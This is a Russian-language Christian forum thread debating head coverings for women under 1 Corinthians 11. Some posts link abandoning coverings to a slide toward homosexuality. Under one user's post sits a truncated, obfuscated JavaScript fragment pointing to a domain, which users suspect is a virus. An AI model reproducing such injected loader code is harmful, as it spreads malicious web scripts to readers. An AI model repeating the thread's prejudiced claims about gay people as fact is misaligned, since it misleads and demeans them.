Добавить пост
Частые вопросы
Реклама у нас

Покрывало для женщины? В чем суть?

Старожил
+1308
|21 Янв 2016
2 Цитировать

1. Будьте подражателями мне, как я Христу.

2. Хвалю вас, братия, что вы все мое помните и держите предания так, как я передал вам.

3. Хочу также, чтобы вы знали, что всякому мужу глава Христос, жене глава — муж, а Христу глава — Бог.

4. Всякий муж, молящийся или пророчествующий с покрытою головою, постыжает свою голову.

5. И всякая жена, молящаяся или пророчествующая с открытою головою, постыжает свою голову, ибо это то же, как если бы она была обритая.

6. Ибо если жена не хочет покрываться, то пусть и стрижется; а если жене стыдно быть остриженной или обритой, пусть покрывается.

7. Итак муж не должен покрывать голову, потому что он есть образ и слава Божия; а жена есть слава мужа.

8. Ибо не муж от жены, но жена от мужа;

9. и не муж создан для жены, но жена для мужа.

10. Посему жена и должна иметь на голове своей знак власти над нею, для Ангелов.

(Первое послание к Коринфянам 11:1-10)

-----

Сегодня, Многие Церкви поместные, отвергнули эти указания из христианской практики, но это нехорошо, ибо это не по ошибке написано в Бибии. Так давайте разберемся в сути сказанного!

Итак, делитесь пониманием.

אני מאמין דבר אלוהים
Старожил
+96
|22 Янв 2016
1 Цитировать

Сейчас дамы красиво и вежливо заклюют, вы готовы к такому?

Ведь этой темой, хотите вы или нет, но обличаете и именно наших любезных. В их глазах это будет выглядеть,

как будто вы хотите напасть на них, уничижить их, вроде как вы обижены на них всех, такая вот им видится

мотивация для поднятия этой темы. Они научены так, мы по благодати не под законом, а значит пожелания Павла

не относится к ним ни как. Да и много будет приведено доводов для доказательства ненадобности покрывал.

 

Цитата Святой
Посему жена и должна иметь на голове своей знак власти над нею, для Ангелов. Итак, делитесь пониманием.

Что вижу здесь я?

Если слово жена понимать как женщина, то власть над ней может быть отцовская или мужнина,

а если разговор ведётся о замужей, то значит только замужние должны иметь этот знак.

Если же замужняя не даёт знака ангелу, то значит она не желает ему врать, она честна с ангелами, с Богом,

и показывает как есть. Если нет власти мужа над ней, то она и показывает эту правдивую действительность.

Но такая действительность может быть по двум причинам, или муж не взял этой власти, хотя она давала ему

согласие на то, что бы он был властителем в их союзе, или она не позволяет взять власть над собой.

Но женщина без покрывала не грешит пред Богом грехом притворства и обмана, что делает та, которая надевает

покрывало, а сама, не встаёт под власть мужа.

Вы про суть спросили, в  нашем народе издревле есть такое понятие как распущенность, то есть, делать своеволие

не желание подчиняться, что видно по внешним признакам, которые так и называются распущенность, то есть,

распущенные волосы. Когда читаем в Библии о женщинах завлекающих в свои дома, то там находим и эту

характеристику (распущенные волосы). О распущенных волосах много можно говорить, но лучше послушать

тех женщин, которые профессионально рассказывают о необходимости правильной одежды, причёски и поведения

для женщин. Желающим могу привести ссылки на ресурсы.

Мы союзники на ниве Божией
Старожил
+1308
|22 Янв 2016
0 Цитировать
Цитата Sacha
Сейчас дамы красиво и вежливо заклюют, вы готовы к такому? Ведь этой темой, хотите вы или нет, но обличаете и именно наших любезных. В их глазах это будет выглядеть, как будто вы хотите напасть на них, уничижить их, вроде как вы обижены на них всех, такая вот им видится мотивация для поднятия этой темы.

:) Ага, некоторые из них, даже умудряются заявлять, что Павел был женоненавистник, и поэтому есть такое в Писании от Павла.

Понятно, что такие выводы - глупость. Если оно есть в Писании, то это важно, это воля Бога, и отвернать это - грех! Поэтому надо с этим разобраться.

 

Цитата Sacha
Если же замужняя не даёт знака ангелу, то значит она не желает ему врать, она честна с ангелами, с Богом, и показывает как есть. Если нет власти мужа над ней, то она и показывает эту правдивую действительность. Но такая действительность может быть по двум причинам, или муж не взял этой власти, хотя она давала ему согласие на то, что бы он был властителем в их союзе, или она не позволяет взять власть над собой. Но женщина без покрывала не грешит пред Богом грехом притворства и обмана, что делает та, которая надевает покрывало, а сама, не встаёт под власть мужа.

Вопрос в том, почему Бог так постановил. Бог и так знает (без покрывала) покоряется ли жена или нет мужу. И Ангелы, думаю, различают женщин и мужчин не зависимо от одежды. Так почему речь о покрывале жены во время пророчесвования или молитвы в собрании? Очевидно, что речь идет о покрытии головы на собрании, а не вне собрания, во время молитвы, или пророчествования.

אני מאמין דבר אלוהים
Старожил
+1308
|22 Янв 2016
1 Цитировать
Цитата Sacha
не желание подчиняться, что видно по внешним признакам, которые так и называются распущенность, то есть, распущенные волосы.

То есть, вы считаете, что женщина должна покрываться, чтобы прикрыть свою женскую привлекающую мужчину, красоту - красоту, отвлекающую смотрящего на него, от Бога, от Слова Божьего - на собрании.

Лично я так считаю, основываясь на опыте и Писании:

13. Рассудите сами, прилично ли жене молиться Богу с непокрытою головою? (речь о собрании)

14. Не сама ли природа учит вас, что если муж растит волосы, то это бесчестье для него,

15. но если жена растит волосы, для нее это честь, так как волосы даны ей вместо покрывала?

16. А если бы кто захотел спорить, то мы не имеем такого обычая, ни церкви Божии.

(Первое послание к Коринфянам 11:13-16)

---

Итак, волосы, если не стричь, покроют тело женщины полностью. Тем самым прикроют её женскую красоту, которая предназначена для мужчины (конкретного). А не для всех мужчин, смотрящих на нее, и тем более в Церковном собрании, где Бог желает видеть такую атмосферу душевную и духовную, когда людей ничто не отвлекает от общения с Ним и служения Ему и людям. По этой же причине написано:

9. чтобы также и жены, в приличном одеяниисо стыдливостью и целомудрием, украшали себя не плетением волос, не золотом, не жемчугом, не многоценною одеждою…

(Первое послание к Тимофею 2:9)

אני מאמין דבר אלוהים
Удален
Зёбра
|22 Янв 2016
2 Цитировать
Цитата Святой
. чтобы также и жены, в приличном одеянии, со стыдливостью и целомудрием, украшали себя не плетением волос, не золотом, не жемчугом, не многоценною одеждою…

Ну да, правильно, побрейте своих женщин налысо, оденьте в мешковину до пола, а на голову платок, как мусульмане. А потом засматривайтесь на чужую жену, которая держит себя в порядке, и вожделейте её.

Привет! Я Зёбра!
Старожил
+96
|22 Янв 2016
3 Цитировать
Цитата Зёбра
на голову платок, как мусульмане.

Давайте посмотрим на иудеев, консервативных иудеев, они чтут традиции, древние традиции.

Они может быть глупые, может они чего то не знают что знаем мы? Они в своём транспорте поделили места

на женские и мужские, где женские места находятся сзади, что бы мужчины не могли их видеть.

Они наверное глупые совсем и не онимают что делают, может они безумны? Или в этом есть разумное?

Мы союзники на ниве Божией
Писатель
+109
|22 Янв 2016
5 Цитировать

что о платочках говорить когда  в европе в церкви геев и лесбиянок венчают(((

у меня жена всегда платок одевает...и это правильно..а кто хочет  спорить как  Павел говорит со словом Божиим  тому "удачи"))

Старожил
+96
|22 Янв 2016
3 Цитировать

Стас обратил внимание на самую суть, а суть заключается в том, что человечество прекратит своё существование через отказ от семьи и как следствие от размножения посредством удовлетворения половых потребностей с однополыми партнёрами. Бог создал людей для размножения и заповедал им это, значит Ему нужна большая популяция, огромная популяция людей. Но люди отказываясь от естественных инстинктов в потребности, идут против этой воли Бога. А вот и суть темы, что этот отказ начался не сразу, а постепенно, начиная с малого.

Сначала бунт против власти установтенной Богом в семье, затем бунт вообще против семьи. И отказ от покрывала, это начальная стадия бунта, затем переход на другую стадию, на третью и заканчивается закономерностью указанную Стасом, то есть, геи и лесби.

Мы союзники на ниве Божией
Удален
Мерида
|22 Янв 2016
2 Цитировать
Цитата стасик248
платок одевает

Стоп, а почему платок, речь идёт о покрывале, пускай тогда это буде покрывало, а не косыночка, или полосочка на голове!?

Я чёто не пойму, что это под моими постами за ерунда, это только мне видно , или всем?

«Судите же сами, пристало ли женщине молиться Богу с непокрытой головой?
Разве сама природа не учит вас, что бесчестие для мужчины носить длинные волосы,
А для женщины — почётно, если она носит длинные волосы, ибо волосы даны ей от природы как естественный покров» (13-15 стихи).

Вот и все. И при чем тут какие-то платочки?!

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "invictory.com"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Остерегайтесь тех, кто хочет вменить вам чувство вины, ибо они жаждут власти над вами. © Конфуций
Старожил
+1308
|22 Янв 2016
0 Цитировать
Цитата Святой
чтобы также и жены, в приличном одеянии, со стыдливостью и целомудрием, украшали себя не плетением волос, не золотом, не жемчугом, не многоценною одеждою…
Цитата Зёбра
Ну да, правильно, побрейте своих женщин налысо, оденьте в мешковину до пола, а на голову платок, как мусульмане. А потом засматривайтесь на чужую жену, которая держит себя в порядке, и вожделейте её.

Вы это Павлу скажите, и Богу велевшему Павлу передать это Церкви. :)

 

Цитата стасик248
у меня жена всегда платок одевает...и это правильно..а кто хочет  спорить как  Павел говорит со словом Божиим  тому "удачи"))

Только там речь не платках, а о покрывалах. Платки некрасиво выглядят: роги вниз :)

 

Цитата Мерида
Я чёто не пойму, что это под моими постами за ерунда, это только мне видно , или всем?

Вы что то в пост скопировали случайно.

 

Цитата Мерида
А для женщины — почётно, если она носит длинные волосы, ибо волосы даны ей от природы как естественный покров» (13-15 стихи). Вот и все. И при чем тут какие-то платочки?!

Как причем? А зачем же тогда написано покрывать голову женщине, если она молиться или пророчествует? Вы немного ошиблись.

אני מאמין דבר אלוהים
Удален
Мерида
|22 Янв 2016
0 Цитировать
Цитата Святой
Как причем? А зачем же тогда написано покрывать голову женщине, если она молиться или пророчествует? Вы немного ошиблись.

Мой муж когда учился в институте, они касалсись этого вопроса, это касалось только Коринфских женщин, я сейчас покапалась и нашла в нете, то о чём им говорили  http://www.asd.in.ua/archives/1188320593

 

Цитата Святой
Вы что то в пост скопировали случайно

Нет, это под каждым моим постом, сначало была просто рамочка, а потом и шифр появился)

Остерегайтесь тех, кто хочет вменить вам чувство вины, ибо они жаждут власти над вами. © Конфуций
Старожил
+1308
|22 Янв 2016
0 Цитировать
Цитата Мерида
Мой муж когда учился в институте, они касалсись этого вопроса, это касалось только Коринфских женщин,

:) Я знаком с этой харизматической версией. Только это подтасовка под конфесию, к сожалению. Если читать внимательно текст Писания об этом (по теме) то видно, что объяснение: "это касалось только Коринфских женщин," - вообще не к месту! Вот так.

 

Цитата Мерида
Нет, это под каждым моим постом, сначало была просто рамочка, а потом и шифр появился)

Попробуйте, работать из другого браузера.

 

Цитата Мерида
то о чём им говорили  http://www.asd.in.ua/archives/1188320593

:) Я читал - там явно вывод неверен, противоречит сказаному Павлом, антилогичен - подтасовка под желаемое, а именно: не покрываться.

אני מאמין דבר אלוהים
Удален
Мерида
|22 Янв 2016
2 Цитировать
Цитата Святой
а именно: не покрываться.

Тогда пускай не одевают газовых полосочек на голову, а оденут покрывало, а не жалкое его подобие,

и вообще лично моё мнение на счёт косыночек-покрывал, это была часть культуры тех времён и того народа, а нам оно зачем?

Остерегайтесь тех, кто хочет вменить вам чувство вины, ибо они жаждут власти над вами. © Конфуций
Старожил
+1262
|22 Янв 2016
7 Цитировать
Цитата Sacha
отказ от покрывала, это начальная стадия бунта, затем переход на другую стадию, на третью и заканчивается закономерностью указанную Стасом, то есть, геи и лесби.

Не,не,не.Так не пойдёт!

Одно дело -высказать своё понимание вопроса,и совсем другое поставить всех несогласных собеседников в одну  "позицию" с геями и лесбиянками.

Грамотеям,желающим поучать чужих жён ,мы как говорится " ни на час не уступили и не покорились"

Уверен,парни,что вы и сами не знаете,для чего нужен Ангелам знак власти на голове женщины.Т.е.какие-то мысли вы конечно имеете по этому поводу,но знать не знаете по-любому.А Писание подводит нас к разумному служению.

И разум подсказывает,что читая письма,пусть даже и Священные, стоит различать: когда,кому и зачем они написаны.

В Библии есть указания,  имеющие непреходящее,общечеловеческое значение,а есть постановления, относящиеся к отдельным людям,категориям людей, на определённом участке временного отрезка.

Есть,к примеру, отличие между повелением Господа почитать отца и мать и между Его же повелением Ионе плыть в Ниневию? Есть несомненно,и все это понимают.Разбирая Слово Божье таким образом,  на "постоянное" и "переменное" ,мы получим две папки с указаниями,одна из которых будет актуальна всегда и для всех,а содержимое другой будет просто милыми воспоминаниями о прошлом.Именно в эту,вторую папку и стоит поместить распоряжение Павла о "покрывале для молящейся жены".

Продолжу...

Ошибки изучены, выводы сделаны.
Удален
Самовар
|22 Янв 2016
0 Цитировать
Цитата Святой
Вы это Павлу скажите, и Богу велевшему Павлу передать это Церкви. :)

А что? Думаете если бы Павел ей так сказал, то она бы его на место не поставила? Ещё как бы поставила:)

А кому чайку?
Старожил
+1308
|22 Янв 2016
1 Цитировать
Цитата Мерида
Тогда пускай не одевают газовых полосочек на голову, а оденут покрывало, а не жалкое его подобие,

Ну, покрывало включает и одежду покрывающую, а не раскрывающую. То есть суть там в тэтом: "Итак, волосы, если не стричь, покроют тело женщины полностью. Тем самым прикроют её женскую красоту, которая предназначена для мужчины (конкретного). А не для всех мужчин, смотрящих на нее, и тем более в Церковном собрании, где Бог желает видеть такую атмосферу душевную и духовную, когда людей ничто не отвлекает от общения с Ним и служения Ему и людям. По этой же причине написано:

9. чтобы также и жены, в приличном одеяниисо стыдливостью и целомудрием, украшали себя не плетением волос, не золотом, не жемчугом, не многоценною одеждою…

(Первое послание к Тимофею 2:9)"

----

Если одежда и покрывало (не имеет значения какое) соответсвуют этой сути - то это покрывало. При этом уместно это в каждом случае делать красиво-пристойно.

אני מאמין דבר אלוהים
Писатель
+109
|22 Янв 2016
2 Цитировать
Цитата Stalker
Одно дело -высказать своё понимание вопроса,и совсем другое поставить всех несогласных собеседников в одну "позицию" с геями и лесбиянками.

))) мочить так мочить ...

Удален
Самовар
|22 Янв 2016
1 Цитировать
Цитата Stalker
Не,не,не.Так не пойдёт! Одно дело -высказать своё понимание вопроса,и совсем другое поставить всех несогласных собеседников в одну  "позицию" с геями и лесбиянками.

Что несогласных поставили в одну позицию, это ваше преувеличение.

 

Цитата Stalker
отказ от покрывала, это начальная стадия бунта, затем переход на другую стадию, на третью и заканчивается закономерностью указанную Стасом, то есть, геи и лесби.

Вы не согласны, что ставят на служение геев и лезбиянок в тех церквях, в которых сначала отказались от того, чему учил Павел относительно покрывала?

 

Цитата Stalker
Уверен,парни,что вы и сами не знаете,для чего нужен Ангелам знак власти на голове женщины.

Мне кажется что вы это знаете ещё меньше.

 

Цитата Stalker
Именно в эту,вторую папку и стоит поместить распоряжение Павла о "покрывале для молящейся жены". Продолжу...

Можете не продолжать, с вами все ясно. Ктото от вашего учения будет  в восторге. А на деле вы благовествуете не то, что апостол Павел, через которого Дух Святой тоже напомнил все, чему учил Иисус.

А кому чайку?
Удален
Рyбилa
|22 Янв 2016
4 Цитировать
Цитата стасик248
у меня жена всегда платок одевает...и это правильно

А чего именно платок? Почему не покрывало? Кстати, не зря написано, что если жена растит волосы, то это ей честь, так как волосы - это естественное покрывало для неё. То есть, женщины должны носить длинные волосы. Возможно, в Коринфе нечестивые женщины брили голову. Или что-то типа того.

Sola Scriptura
Старожил
+1262
|22 Янв 2016
11 Цитировать

...в реалиях древнего востока,где женщина с непокрытой головой воспринималась как проститутка,очень неоднозначно воспринимались сёстры,которые уяснив для себя,что" во Христе нет ни мужеского пола ни женского",переставали"заморачиваться" окружающими условностями в виде покрывал и прочего отличающего девочек от мальчиков на тот момент.

Всё это служило к соблазну окружающих,которые стали обвинять христиан в безнравственности,и развращённости.Вечери любви практикуемые первыми христианами объявлялись оргиями на которых происходил обмен жёнами,и прочие" безобразия".И внешний вид непокрытых христианок не опровергал подобное мнение,а скорее утверждал в нём окружающих.При таких раскладах,апостол Павел и не мог писать ничего другого,как призывать  к соблюдению общепринятых правил,и прекращению эпатажа коринфских сограждан непокрытыми головами жён-христианок.

На тот момент,для того общества это было актуальное послание,цель которого была  понятна тем,кому оно адресовалось.

Но сегодняшние попытки  исполнить непонятный для многих ритуал, вызывает только улыбку-ведь современная эпоха имеет совершенно другие критерии чтобы подчеркнуть порядочность,и семейный статус женщины.

Те "покрывала" которые используются сегодня верующими в"покрывала" -это самая жалкая "отмазка", в сравнением с  покрывалами о которых писал Апостол коринфским женщинам.

Косыночки,полосочки,-как отметила Мерида,-это жалкий компромисс чтобы и Ангелы свой знак вроде-бы как получили,и окружающие чтоб санитаров не вызвали.

Ошибки изучены, выводы сделаны.
Удален
Мерида
|22 Янв 2016
9 Цитировать
Цитата Stalker
сегодняшние попытки  исполнить непонятный для многих ритуал, в

Ой Слава Богу что Павел не из племени "Пумба-Юмба", а-то мы рисковали бы сейчас ходить в набедренных повязках и ожерелье из пёрышек, а замужние вообще бы, без четырёх передних зубов)))))

Остерегайтесь тех, кто хочет вменить вам чувство вины, ибо они жаждут власти над вами. © Конфуций
Удален
Самовар
|22 Янв 2016
1 Цитировать
Цитата Stalker
Но сегодняшние попытки  исполнить непонятный для многих ритуал, вызывает только улыбку

А что вызывает, когда вместо этого ритуала украшаются плетением волос, нарядностью в одежде и как можно меньшим её наличием и нежелание быть детьми Сарры?

 

Цитата Stalker
апостол Павел и не мог писать ничего другого,
Мда, тяжелый случай. Попробую ещё раз, что писать апостолу Павлу, Петру и другим говорил Святой Дух.
А кто говорит вам не знаю.
А кому чайку?
Писатель
+109
|22 Янв 2016
1 Цитировать
Цитата Рyбилa
А чего именно платок? Почему не покрывало? Кстати, не зря написано, что если жена растит волосы, то это ей честь, так как волосы - это естественное покрывало для неё. То есть, женщины должны носить длинные волосы. Возможно, в Коринфе нечестивые женщины брили голову. Или что-то типа того.

ну хорошо ....назову платок - покрывалом...обрадовались?)))

Удален
Самовар
|22 Янв 2016
0 Цитировать
Цитата стасик248
ну хорошо ....назову платок - покрывалом...обрадовались?)))

Возможно да. Ведь есть возможность обвинять в ереси того, кто вместо покрывала подразумевает платок. А такого слова в Библии нету.

Значение слова покрывало

Кусок ткани, покрывающий что-л.
Легкое одеяло (пикейное, вязаное и т.п.), обычно служащее для покрывания постели днем.
То, что укрывает собою, скрывает под собою что-л.
А кому чайку?
Удален
Зёбра
|22 Янв 2016
1 Цитировать
Цитата Sacha
Давайте посмотрим на иудеев, консервативных иудеев, они чтут традиции, древние традиции. Они может быть глупые, может они чего то не знают что знаем мы? Они в своём транспорте поделили места на женские и мужские, где женские места находятся сзади, что бы мужчины не могли их видеть. Они наверное глупые совсем и не онимают что делают, может они безумны? Или в этом есть разумное?

А зачем мне смотреть на иудеев? Я не из иудеев, а изначально язычница, и уверовала не благодаря ихним распорядкам жизни, а наоборот, вопреки их распорядкам и традициям. Я родилась и выросла в светском обществе и не собираюсь накидывать на себя какие угодно платки-покрывала и пр. Бог подошел ко мне, когда я была ещё грешницей и взял в Свой удел вопреки еврейским традициям и законам. И поэтому буду слушать Духа, и не надевать то, чего мне не нужно надевать.

 

Цитата Мерида
Я чёто не пойму, что это под моими постами за ерунда, это только мне видно , или всем?

да, мне видно, наверно вирус поймала.

Привет! Я Зёбра!
Старожил
+1564
|22 Янв 2016
0 Цитировать
Цитата Мерида
пускай тогда это буде покрывало,

В общем о нем и пишет Апостол.. о покрывале а не газовой косынке.. Это покрывало подобно мусульманскому хиджабу.

 

Цитата Мерида
Нет, это под каждым моим постом, сначало была просто рамочка, а потом и шифр появился

По-моему вы притащили вирус. Мой антивирь блокирует как опасную ссылку на какой-то сайт..))

... и познаете истину, и истина сделает вас свободными. (Иоан.8:32;)
Старожил
+3098
|22 Янв 2016
5 Цитировать
Цитата стасик248
Павел говорит со словом Божиим  тому "удачи"))

спросить хочу. почему евреи и Иисус молясь покрывают голову, а нам написано наоборот? чем мы постыжаем свою небритую голову? у кого есть волосы, те имеют это покрывало. :)

Писатель
+109
|22 Янв 2016
0 Цитировать
Цитата Самовар
Возможно да. Ведь есть возможность обвинять в ереси того, кто вместо покрывала подразумевает платок. А такого слова в Библии нету.

да как по  мне  так фиолетово все эти платки и покрывала....уверен что Бог не на это смотрит!никто да не обольщается  что накинув на себя платок поставив свечку поцеловав кости обратившись к намоленой иконе и так далее что то приобретет!

Старожил
+1262
|22 Янв 2016
13 Цитировать
Цитата стасик248
назову платок - покрывалом.

Назвать,то можно,а смысл? Это две разные вещи.

Вот как выглядит покрывало:

А всё остальное-цирк,чтоб не доставали.

Ошибки изучены, выводы сделаны.
Удален
Самовар
|22 Янв 2016
0 Цитировать
Цитата Зёбра
зачем мне смотреть на иудеев?

Может так случиться, что их праведность будет превосходить вашу.

 

Цитата Stalker
Вот как выглядит покрывало:

Мда, по русски вы не понимаете.

А кому чайку?

Покрывало для женщины? В чем суть?

Фото вставляйте н-р через сайт imageup.ru.  Нет русской клавиатуры - используйте транслит.

Если Вы зарегистрированы